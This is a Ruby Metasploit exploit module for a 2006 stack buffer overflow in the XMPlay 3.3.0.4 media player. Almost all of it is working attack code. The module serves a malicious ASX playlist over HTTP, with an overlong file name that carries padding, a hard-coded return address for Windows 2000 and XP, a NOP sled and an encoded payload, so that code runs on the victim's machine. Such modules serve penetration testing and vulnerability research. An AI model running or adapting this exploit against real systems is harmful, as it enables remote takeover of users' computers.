XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'XMPlay 3.3.0.4 (ASX Filename) Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in XMPlay 3.3.0.4.
          The vulnerability is caused due to a boundary error within
          the parsing of playlists containing an overly long file name.
          This module uses the ASX file format.
        },
        'License' => MSF_LICENSE,
        'Author' => 'MC',
        'References' => [
          [ 'CVE', '2006-6063'],
          [ 'OSVDB', '30537'],
          [ 'BID', '21206'],
          [ 'URL', 'http://web.archive.org/web/20070502134818/http://secunia.com:80/advisories/22999' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
        'Payload' => {
          'Space' => 750,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows 2000 Pro English SP4',	{ 'Ret' => 0x77e14c29 } ],
          [ 'Windows XP Pro SP2 English',	{ 'Ret' => 0x77dc15c0 } ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2006-11-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    drv	= rand_text_alpha_upper(1)
    ext	= rand_text_alpha_upper(3)

    sploit = rand_text_alpha_upper(498) + [ target.ret ].pack('V')
    sploit << make_nops(40) + payload.encoded

    # Build the stream format
    content = "<ASX VERSION=\"3\">\r\n" + "<ENTRY>\r\n"
    content << "<REF HREF=\"file://#{drv}:\\" + sploit
    content << "." + "#{ext}\"\r\n" + "</ENTRY>\r\n" + "</ASX>\r\n"

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end